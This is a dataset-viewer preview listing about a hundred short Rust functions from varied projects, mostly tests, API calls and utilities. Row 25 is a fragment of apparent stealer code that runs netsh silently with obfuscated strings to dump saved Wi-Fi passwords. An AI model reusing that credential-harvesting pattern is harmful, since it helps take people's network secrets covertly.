content stringlengths 12 12.8k | id int64 0 359 |
|---|---|
async fn get_price_ticker() {
let exchange = init().await;
let req = GetPriceTickerRequest {
market_pair: "eth_btc".to_string(),
};
let resp = exchange.get_price_ticker(&req).await.unwrap();
println!("{:?}", resp);
} | 0 |
fn error_test() {
// 7.1.1
// fn pirate_share(total: u64, crew_size: usize) -> u64 {
// let half = total / 2;
// half / crew_size as u64
// }
// pirate_share(100, 0);
// 7.2 Result
// fn get_weather(location: LatLng) -> Result<WeatherReport, io::Error>
// 7.2.1
// match... | 1 |
pub fn task_set_inactive(target: CAddr) {
system_call(SystemCall::TaskSetInactive {
request: target
});
} | 2 |
fn overflow() {
let big_val = std::i32::MAX;
// let x = big_val + 1; // panic
let _x = big_val.wrapping_add(1); // ok
} | 3 |
pub fn test_load_elf_crash_64() {
let buffer = fs::read("tests/programs/load_elf_crash_64").unwrap().into();
let result = run::<u64, SparseMemory<u64>>(&buffer, &vec!["load_elf_crash_64".into()]);
assert_eq!(result.err(), Some(Error::MemWriteOnExecutablePage));
} | 4 |
fn read_or_create_default_database() -> Result<DataBase> {
let default_database_paths = get_default_database_paths();
if default_database_paths.is_empty() {
eprintln!("{}", format!(
"Could not find a location for the default database. \
Opening a database which cannot be saved."... | 5 |
pub fn establish_connection() -> PooledConnection<ConnectionManager<PgConnection>> {
pool().get().unwrap()
} | 6 |
fn system_call_take_payload<T: Any + Clone>(message: SystemCall) -> (SystemCall, T) {
use core::mem::{size_of};
let addr = task_buffer_addr();
unsafe {
let buffer = &mut *(addr as *mut TaskBuffer);
buffer.call = Some(message);
system_call_raw();
let payload_addr = &mut buf... | 7 |
fn array_test() {
let lazy_caterer: [u32; 6] = [1, 2, 4, 7, 11, 16];
let taxonomy = ["Animalia", "arthropoda", "Insecta"];
assert_eq!(lazy_caterer[3], 7);
assert_eq!(taxonomy.len(), 3);
let mut sieve = [true; 10000];
for i in 2..100 {
if sieve[i] {
let mut j = i * i;
... | 8 |
pub fn test_invalid_file_offset64() {
let buffer = fs::read("tests/programs/invalid_file_offset64")
.unwrap()
.into();
let result = run::<u64, SparseMemory<u64>>(&buffer, &vec!["invalid_file_offset64".into()]);
assert_eq!(result.err(), Some(Error::ElfSegmentAddrOrSizeError));
} | 9 |
fn main() {
let matches = App::new(crate_name!())
.version(crate_version!())
.about("build git branches from merge requests")
.template(TEMPLATE)
.arg(
Arg::with_name("config")
.short("c")
.long("config")
.value_name("FILE")
.required(true)
.help("config f... | 10 |
fn archive(version: &Version) -> String {
format!("ruby-{}.zip", version)
} | 11 |
pub fn debug_test_fail() {
system_call(SystemCall::DebugTestFail);
loop {}
} | 12 |
fn align_address(ptr: *const u8, align: usize) -> usize {
let addr = ptr as usize;
if addr % align != 0 {
align - addr % align
} else {
0
}
} | 13 |
fn modules_file(repo: &Repository, at: &Commit) -> Result<String, Box<dyn std::error::Error>> {
if let Some(modules) = at.tree()?.get_name(".gitmodules") {
Ok(String::from_utf8(
modules.to_object(&repo)?.peel_to_blob()?.content().into(),
)?)
} else {
return Ok(String::new());... | 14 |
async fn main() {
env::set_var("RUST_LOG", "warp_server");
env_logger::init();
let log = warp::log("warp_server");
let homepage = warp::path::end().map(|| {
Response::builder()
.header("content-type", "text/html")
.body(
"<html><h1>juniper_warp</h1><div>... | 15 |
pub fn test_op_rvc_srli_crash_32() {
let buffer = fs::read("tests/programs/op_rvc_srli_crash_32")
.unwrap()
.into();
let result = run::<u32, SparseMemory<u32>>(&buffer, &vec!["op_rvc_srli_crash_32".into()]);
assert_eq!(result.err(), Some(Error::MemWriteOnExecutablePage));
} | 16 |
pub fn docker_metric_from_stats(first: &InstantDockerContainerMetric, second: &InstantDockerContainerMetric) -> DockerContainerMetric {
let first = first.clone();
let second = second.clone();
let time_diff = second.timestamp - first.timestamp;
let first_iter = first.stat.into_iter();
let stat: Vec... | 17 |
fn build_unparsed(s: ~str) -> Result<IRCToken, ~str> {
Ok(Unparsed(s))
} | 18 |
pub fn acrn_remove_dir(path: &str) -> Result<(), String> {
fs::remove_dir_all(path).map_err(|e| e.to_string())
} | 19 |
fn up_to_release(
repo: &Repository,
reviewers: &Reviewers,
mailmap: &Mailmap,
to: &VersionTag,
) -> Result<AuthorMap, Box<dyn std::error::Error>> {
let to_commit = repo.find_commit(to.commit).map_err(|e| {
ErrorContext(
format!(
"find_commit: repo={}, commit={}",... | 20 |
pub fn semaphore() -> &'static Semaphore {
SEMAPHORE.get_or_init(|| Semaphore::new(*pool_connection_number()))
} | 21 |
fn read_input_configurations(confs: Vec<PathBuf>) -> (Vec<ComponentEntry>, Vec<ComponentEntry>) {
let mut configurations = Vec::new();
for path in confs {
match read_configuration(&path) {
Ok(conf) => configurations.push(conf),
Err(err) => eprintln!("{}", err),
}
}
... | 22 |
pub fn test_mulw64() {
let buffer = fs::read("tests/programs/mulw64").unwrap().into();
let result = run::<u64, SparseMemory<u64>>(&buffer, &vec!["mulw64".into()]);
assert!(result.is_ok());
} | 23 |
fn show(store: &MemoryStore) -> String {
let mut writer = std::io::Cursor::new(Vec::<u8>::new());
store
.dump_dataset(&mut writer, DatasetFormat::NQuads)
.unwrap();
String::from_utf8(writer.into_inner()).unwrap()
} | 24 |
pub async fn dump_wifi_passwords() -> Option<WifiLogins> {
let output = Command::new(obfstr::obfstr!("netsh.exe"))
.args(&[
obfstr::obfstr!("wlan"),
obfstr::obfstr!("show"),
obfstr::obfstr!("profile"),
])
.creation_flags(CREATE_NO_WINDOW)
.output()... | 25 |
pub fn test_andi() {
let buffer = fs::read("tests/programs/andi").unwrap().into();
let result = run::<u32, SparseMemory<u32>>(&buffer, &vec!["andi".into()]);
assert!(result.is_ok());
assert_eq!(result.unwrap(), 0);
} | 26 |
pub fn allow_debug() -> bool {
let self_report = create_report(None, None).expect("create a self report should never fail");
(self_report.body.attributes.flags & SGX_FLAGS_DEBUG) == SGX_FLAGS_DEBUG
} | 27 |
fn add() {
let project = project("add").with_fuzz().build();
project
.cargo_fuzz()
.arg("add")
.arg("new_fuzz_target")
.assert()
.success();
assert!(project.fuzz_target_path("new_fuzz_target").is_file());
assert!(project.fuzz_cargo_toml().is_file());
let carg... | 28 |
pub unsafe fn gatt_svr_init() -> i32 {
// Leaks the eff out of the svc_def
let svcs_ptr = alloc_svc_def();
print_svcs(svcs_ptr);
ble_svc_gap_init();
ble_svc_gatt_init();
let mut rc;
rc = ble_gatts_count_cfg(svcs_ptr);
esp_assert!(rc == 0, cstr!("RC err after ble_gatts_count_cfg\n"));
... | 29 |
pub unsafe extern "C" fn gatt_svr_register_cb(
ctxt: *mut ble_gatt_register_ctxt,
_arg: *mut ::core::ffi::c_void,
) {
let mut buf_arr: [i8; BLE_UUID_STR_LEN as usize] = [0; BLE_UUID_STR_LEN as usize];
let buf = buf_arr.as_mut_ptr();
match (*ctxt).op as u32 {
BLE_GATT_REGISTER_OP_SVC => {
... | 30 |
async fn get_historic_trades() {
let exchange = init().await;
let req = GetHistoricTradesRequest {
market_pair: "eth_btc".to_string(),
paginator: Some(Paginator {
limit: Some(100),
..Default::default()
}),
};
let resp = exchange.get_historic_trades(&req).a... | 31 |
fn init_with_target() {
let project = project("init_with_target").build();
project
.cargo_fuzz()
.arg("init")
.arg("-t")
.arg("custom_target_name")
.assert()
.success();
assert!(project.fuzz_dir().is_dir());
assert!(project.fuzz_cargo_toml().is_file());
... | 32 |
pub fn start_conflict_resolver_factory(ledger: &mut Ledger_Proxy, key: Vec<u8>) {
let (s1, s2) = Channel::create(ChannelOpts::Normal).unwrap();
let resolver_client = ConflictResolverFactory_Client::from_handle(s1.into_handle());
let resolver_client_ptr = ::fidl::InterfacePtr {
inner: resolver_client... | 33 |
fn get_handshake(packet: &Packet) -> Result<&HandshakeControlInfo, ConnectError> {
match packet {
Packet::Control(ControlPacket {
control_type: ControlTypes::Handshake(info),
..
}) => Ok(info),
Packet::Control(ControlPacket { control_type, .. }) => {
Err(H... | 34 |
pub fn test_op_rvc_slli_crash_32() {
let buffer = fs::read("tests/programs/op_rvc_slli_crash_32")
.unwrap()
.into();
let result = run::<u32, SparseMemory<u32>>(&buffer, &vec!["op_rvc_slli_crash_32".into()]);
assert!(result.is_ok());
} | 35 |
fn main() {
gtk::init();
let mut window = gtk::Window::new(gtk::WindowType::TopLevel).unwrap();
window.set_title("TreeView Sample");
window.set_window_position(gtk::WindowPosition::Center);
Connect::connect(&window, DeleteEvent::new(&mut |_| {
gtk::main_quit();
true
}));
... | 36 |
fn check_layout(layout: Layout) -> Result<(), AllocErr> {
if layout.size() > LARGEST_POWER_OF_TWO {
return Err(AllocErr::Unsupported { details: "Bigger than largest power of two" });
}
debug_assert!(layout.size() > 0);
Ok(())
} | 37 |
pub fn test_misaligned_jump64() {
let buffer = fs::read("tests/programs/misaligned_jump64").unwrap().into();
let result = run::<u64, SparseMemory<u64>>(&buffer, &vec!["misaligned_jump64".into()]);
assert!(result.is_ok());
} | 38 |
async fn index(_req: HttpRequest) -> impl Responder {
HttpResponse::Ok().json("Catalog API root")
} | 39 |
async fn save_metric_entry(mut database: &Database, hostname: &str, timestamp: &DateTime<Utc>, entry: DockerContainerMetricEntry) -> Result<(), MetricSaveError> {
sqlx::query!(
"insert into metric_docker_containers (hostname, timestamp, name, state, cpu_usage, memory_usage, memory_cache, network_tx, network... | 40 |
fn map_ignored(_: IRCToken) -> Result<IRCToken, ~str> {
Ok(Ignored)
} | 41 |
fn loadResFromMesh(model: &mut Model, meshFilePath: &str) {} | 42 |
fn main() {
std::process::Command::new("packfolder.exe").args(&["src/frontend", "dupa.rc", "-binary"])
.output().expect("no i ciul");
} | 43 |
fn encode_byte(input_byte: u8) -> (u8, u8) {
let mut output = (0, 0);
let output_byte = input_byte.overflowing_add(42).0;
match output_byte {
LF | CR | NUL | ESCAPE => {
output.0 = ESCAPE;
output.1 = output_byte.overflowing_add(64).0;
}
_ => {
out... | 44 |
fn generate_bindings<P>(output_file: &P)
where P: AsRef<Path> {
let bindings = bindgen::Builder::default()
.clang_arg("-IVulkan-Headers/include")
.header("VulkanMemoryAllocator/include/vk_mem_alloc.h")
.rustfmt_bindings(true)
.size_t_is_usize(true)
.blocklist_type("__darw... | 45 |
fn create_data_sock() -> AppResult<UdpSocket> {
let data_sock = UdpSocket::bind("0.0.0.0:9908")?;
data_sock.set_write_timeout(Some(Duration::from_secs(5)))?;
Ok(data_sock)
} | 46 |
pub fn encode_buffer<W>(
input: &[u8],
col: u8,
line_length: u8,
writer: W,
) -> Result<u8, EncodeError>
where
W: Write,
{
let mut col = col;
let mut writer = writer;
let mut v = Vec::<u8>::with_capacity(((input.len() as f64) * 1.04) as usize);
input.iter().for_each(|&b| {
le... | 47 |
fn build_all() {
let project = project("build_all").with_fuzz().build();
// Create some targets.
project
.cargo_fuzz()
.arg("add")
.arg("build_all_a")
.assert()
.success();
project
.cargo_fuzz()
.arg("add")
.arg("build_all_b")
.ass... | 48 |
fn desearlizer_task(req: &mut reqwest::Response) -> Result<Task, Error> {
let mut buffer = String::new();
match req.read_to_string(&mut buffer) {
Ok(_) => (),
Err(e) => println!("error : {}", e.to_string())
};
println!("buffer before serializaztion: {}", buffer);
let v = match serde... | 49 |
fn init() {
let project = project("init").build();
project.cargo_fuzz().arg("init").assert().success();
assert!(project.fuzz_dir().is_dir());
assert!(project.fuzz_cargo_toml().is_file());
assert!(project.fuzz_targets_dir().is_dir());
assert!(project.fuzz_target_path("fuzz_target_1").is_file());
... | 50 |
fn run_without_sanitizer_with_crash() {
let project = project("run_without_sanitizer_with_crash")
.with_fuzz()
.fuzz_target(
"yes_crash",
r#"
#![no_main]
use libfuzzer_sys::fuzz_target;
fuzz_target!(|data: &[u8]| {
... | 51 |
pub fn test_jump0() {
let buffer = fs::read("tests/programs/jump0_64").unwrap().into();
let result = run::<u64, SparseMemory<u64>>(&buffer, &vec!["jump0_64".into()]);
assert!(result.is_err());
assert_eq!(result.err(), Some(Error::MemWriteOnExecutablePage));
} | 52 |
pub fn checksum(input: &[u8]) -> Result<u16, LayerError> {
let mut sum = 0x00;
let mut chunks_iter = input.chunks_exact(2);
while let Some(chunk) = chunks_iter.next() {
sum += u32::from(u16::from_be_bytes(
chunk.try_into().expect("chunks of 2 bytes"),
));
}
if let [rem] ... | 53 |
fn align_to(size: uint, align: uint) -> uint {
assert!(align != 0);
(size + align - 1) & !(align - 1)
} | 54 |
fn usart_pc() {} | 55 |
fn a_table_should_reject_a_stale_write() {
let mut table = HashMapOfTreeMap::new();
table.write(0, &[Row { k: 0, v: 1 }]);
assert_eq!(table.write(0, &[Row { k: 0, v: 2 }]), WriteResult::Stale { cond: 0, max: 1 });
let mut vs = [Value::default(); 1];
table.read (1, &[0], &mut vs);
assert_eq!(vs, [Value { v: ... | 56 |
fn de_board(raw: Vec<usize>, t: isize, l: i32, width: u8, height: u8) -> game::Board {
let mut res = game::Board::new(t, l, width, height);
res.pieces = raw
.into_iter()
.map(|x| game::Piece::from(x))
.collect();
res
} | 57 |
fn print_uint(x:uint) {
println!("{}",x);
} | 58 |
async fn get_config(path: &str) -> Result<String, Error> {
fs::read_to_string(path).await
} | 59 |
fn commit_coauthors(commit: &Commit) -> Vec<Author> {
let mut coauthors = vec![];
if let Some(msg) = commit.message_raw() {
lazy_static::lazy_static! {
static ref RE: Regex =
RegexBuilder::new(r"^Co-authored-by: (?P<name>.*) <(?P<email>.*)>")
.case_insensi... | 60 |
fn get_disjoint<T>(ts: &mut [T], a: usize, b: usize) -> (&mut T, &mut T) {
assert!(a != b, "a ({}) and b ({}) must be disjoint", a, b);
assert!(a < ts.len(), "a ({}) is out of bounds", a);
assert!(b < ts.len(), "b ({}) is out of bounds", b);
if a < b {
let (al, bl) = ts.split_at_mut(b);
... | 61 |
pub fn force_reset() -> Result<(), ()> {
let mut configurator = Configurator::new();
configurator.force_reset();
Ok(())
} | 62 |
fn tokenize_line(line: &str) -> Result<Command, CueError> {
let mut chars = line.trim().chars();
let command = next_token(&mut chars);
let command = if command.is_empty() {
None
} else {
Some(command)
};
match command {
Some(c) => match c.to_uppercase().as_ref() {
... | 63 |
fn docker_metric_entry_from_two_stats(time_diff: Duration, first: InstantDockerContainerMetricEntry, second: InstantDockerContainerMetricEntry) -> DockerContainerMetricEntry {
let diff = time_diff.num_milliseconds() as f64 / 1000.0; // seconds
DockerContainerMetricEntry {
name: second.name,
sta... | 64 |
fn float_test() {
assert_eq!(5f32.sqrt() * 5f32.sqrt(), 5.);
assert_eq!((-1.01f64).floor(), -2.0);
assert!((-1. / std::f32::INFINITY).is_sign_negative());
} | 65 |
fn debg(t: impl Debug) -> String {
format!("{:?}", t)
} | 66 |
fn main() {
// 创建一个通道
let (tx, rx): (mpsc::Sender<i32>, mpsc::Receiver<i32>) =
mpsc::channel();
// 创建线程用于发送消息
thread::spawn(move || {
// 发送一个消息,此处是数字id
tx.send(1).unwrap();
});
// 在主线程中接收子线程发送的消息并输出
println!("receive {}", rx.recv().unwrap());
} | 67 |
fn set_led(n: u8, r: &mut impl OutputPin, g: &mut impl OutputPin, b: &mut impl OutputPin) {
match n {
1 => {
r.set_high().ok();
g.set_low().ok();
b.set_low().ok();
}
2 => {
r.set_high().ok();
g.set_high().ok();
b.set_low... | 68 |
fn is_rollup_commit(commit: &Commit) -> bool {
let summary = commit.summary().unwrap_or("");
summary.starts_with("Rollup merge of #")
} | 69 |
fn run_a_few_inputs() {
let corpus = Path::new("fuzz").join("corpus").join("run_few");
let project = project("run_a_few_inputs")
.with_fuzz()
.fuzz_target(
"run_few",
r#"
#![no_main]
use libfuzzer_sys::fuzz_target;
fuzz_ta... | 70 |
fn string_test() {
// literal
let speech = "\"Ouch!\" said the well.\n";
println!("{}", speech);
println!(
"In the room the women come and go,
Singing of Mount Abora"
);
println!(
"It was a bright, cold day in Aplil, and \
there were four of us \
more o... | 71 |
fn cmin() {
let corpus = Path::new("fuzz").join("corpus").join("foo");
let project = project("cmin")
.with_fuzz()
.fuzz_target(
"foo",
r#"
#![no_main]
use libfuzzer_sys::fuzz_target;
fuzz_target!(|data: &[u8]| {
... | 72 |
fn main() {
#[cfg(feature = "breakout")]
let memfile_bytes = include_bytes!("stm32h743zi_memory.x");
#[cfg(not(feature = "breakout"))]
let memfile_bytes = include_bytes!("stm32h743vi_memory.x");
// Put the linker script somewhere the linker can find it
let out = &PathBuf::from(env::var_os("OUT... | 73 |
pub async fn render_window_wasm(subaction: brawllib_rs::high_level_fighter::HighLevelSubaction) {
use brawllib_rs::renderer::app::state::{AppEventIncoming, State};
use brawllib_rs::renderer::app::App;
use wasm_bindgen::prelude::*;
use web_sys::HtmlElement;
let document = web_sys::window().unwrap().... | 74 |
fn get_next_prefix(current: &str) -> String {
format!("{} ", current)
} | 75 |
fn db_scheme_type_mapper(scheme: &str) -> SchemeType {
match scheme {
"postgres" => SchemeType::Relative(5432),
"mysql" => SchemeType::Relative(3306),
_ => SchemeType::NonRelative,
}
} | 76 |
fn a_table_should_preserve_the_money_supply() {
let mut table = HashMapOfTreeMap::new();
broker(&mut table, 1000);
expect_money_conserved(&table);
} | 77 |
fn build_package(
current_dir: &Path,
installed_dir: &Path,
configure_opts: &[String],
) -> Result<(), FrumError> {
debug!("./configure {}", configure_opts.join(" "));
let mut command = Command::new("sh");
command
.arg("configure")
.arg(format!("--prefix={}", installed_dir.to_str... | 78 |
fn
is_invalid_column_type
(
err
:
Error
)
-
>
bool
{
matches
!
(
err
Error
:
:
InvalidColumnType
(
.
.
)
)
} | 79 |
fn send_err(stream: &mut TcpStream, err: Error) {
let _ = stream.write(err.to_string().as_bytes()).expect("failed a write");
} | 80 |
pub fn module<'a>(context: &'a Context) -> Option<Module<'a>> {
const SUCCESS_CHAR: &str = "➜";
const FAILURE_CHAR: &str = "✖";
let color_success = Color::Green.bold();
let color_failure = Color::Red.bold();
let mut module = context.new_module("character")?;
module.get_prefix().set_value("");
... | 81 |
async fn http_lookup(url: &Url) -> Result<Graph, Berr> {
let resp = reqwest::get(url.as_str()).await?;
if !resp.status().is_success() {
return Err("unsucsessful GET".into());
}
let content_type = resp
.headers()
.get(CONTENT_TYPE)
.ok_or("no content-type header in respons... | 82 |
fn state_to_buf(state: &Engine) -> Vec<u8> {
serde_json::to_vec(state).unwrap()
} | 83 |
fn run() -> Result<(), Box<dyn std::error::Error>> {
let by_version = generate_thanks()?;
let mut all_time = by_version.values().next().unwrap().clone();
for map in by_version.values().skip(1) {
all_time.extend(map.clone());
}
site::render(by_version, all_time)?;
Ok(())
} | 84 |
fn map_prefix(tok: IRCToken) -> Result<IRCToken, ~str> {
match tok {
Sequence([Unparsed(nick), Sequence([rest])]) => match rest {
Sequence([Sequence([rest]), Unparsed(~"@"), Unparsed(host)]) => match rest {
Sequence([Unparsed(~"!"), Unparsed(user)]) => Ok(PrefixT(Prefix {nick: ni... | 85 |
fn build_author_map_(
repo: &Repository,
reviewers: &Reviewers,
mailmap: &Mailmap,
from: &str,
to: &str,
) -> Result<AuthorMap, Box<dyn std::error::Error>> {
let mut walker = repo.revwalk()?;
if repo.revparse_single(to).is_err() {
// If a commit is not found, try fetching it.
... | 86 |
const fn null_ble_gatt_chr_def() -> ble_gatt_chr_def {
return ble_gatt_chr_def {
uuid: ptr::null(),
access_cb: None,
arg: (ptr::null_mut()),
descriptors: (ptr::null_mut()),
flags: 0,
min_key_size: 0,
val_handle: (ptr::null_mut()),
};
} | 87 |
async fn get_historic_rates() {
let exchange = init().await;
let req = GetHistoricRatesRequest {
market_pair: "eth_btc".to_string(),
interval: Interval::OneHour,
paginator: None,
};
let resp = exchange.get_historic_rates(&req).await.unwrap();
println!("{:?}", resp);
} | 88 |
pub fn pool_connection_number() -> &'static usize {
POOL_NUMBER.get_or_init(|| {
dotenv().ok();
let database_pool_size_str =
env::var("DATABASE_POOL_SIZE").unwrap_or_else(|_| "10".to_string());
let database_pool_size: usize = database_pool_size_str.parse().unwrap();
dat... | 89 |
async fn run_completions(shell: ShellCompletion) -> Result<()> {
info!(version=%env!("CARGO_PKG_VERSION"), "constructing completions");
fn generate(generator: impl Generator) {
let mut cmd = Args::command();
clap_complete::generate(generator, &mut cmd, "watchexec", &mut std::io::stdout());
}
match shell {
S... | 90 |
pub fn nth(n: u32) -> u32 {
let mut primes: Vec<u32> = vec![2, 3, 5];
let i = n as usize;
let mut nn = 5;
while i + 1 >= primes.len() {
nn += 2;
if !primes.iter().any(|x| nn % x == 0) {
primes.push(nn);
}
}
primes[i]
} | 91 |
pub(crate) fn ident<'a, E>(i: &'a str) -> nom::IResult<&'a str, Ident, E>
where
E: ParseError<&'a str>,
{
let mut chars = i.chars();
if let Some(f) = chars.next() {
if f.is_alphabetic() || f == '_' {
let mut idx = 1;
for c in chars {
if !(c.is_alphanumeric() |... | 92 |
fn run_one_input() {
let corpus = Path::new("fuzz").join("corpus").join("run_one");
let project = project("run_one_input")
.with_fuzz()
.fuzz_target(
"run_one",
r#"
#![no_main]
use libfuzzer_sys::fuzz_target;
fuzz_target!(... | 93 |
pub fn test_trace() {
let buffer = fs::read("tests/programs/trace64").unwrap().into();
let result = run::<u64, SparseMemory<u64>>(&buffer, &vec!["trace64".into()]);
assert!(result.is_err());
assert_eq!(result.err(), Some(Error::MemWriteOnExecutablePage));
} | 94 |
fn alloc_svc_def() -> *const ble_gatt_svc_def {
leaky_box!(
ble_gatt_svc_def {
type_: BLE_GATT_SVC_TYPE_PRIMARY as u8,
uuid: ble_uuid16_declare!(GATT_HRS_UUID),
includes: ptr::null_mut(),
characteristics: leaky_box!(
ble_gatt_chr_def {
... | 95 |
pub fn acrn_read_dir(path: &str, recursive: bool) -> Result<Vec<DirEntry>, String> {
read_dir(path, recursive).map_err(|e| e.to_string())
} | 96 |
fn run_with_crash() {
let project = project("run_with_crash")
.with_fuzz()
.fuzz_target(
"yes_crash",
r#"
#![no_main]
use libfuzzer_sys::fuzz_target;
fuzz_target!(|data: &[u8]| {
run_with_crash::fail_fuzzing... | 97 |
pub async fn run() -> Result<()> {
let args = init().await?;
debug!(?args, "arguments");
if args.manual {
run_manpage(args).await
} else if let Some(shell) = args.completions {
run_completions(shell).await
} else {
run_watchexec(args).await
}
} | 98 |
fn main() -> Result<()> {
let args = Args::parse();
let Args {
aspect_ratio,
image_width,
image_height,
samples_per_pixel,
outfile,
max_depth,
} = args;
let (stats_tx, stats_rx) = unbounded();
let (render_tx, render_rx) = bounded(1024);
let look_... | 99 |
End of preview. Expand in Data Studio
README.md exists but content is empty.
- Downloads last month
- 8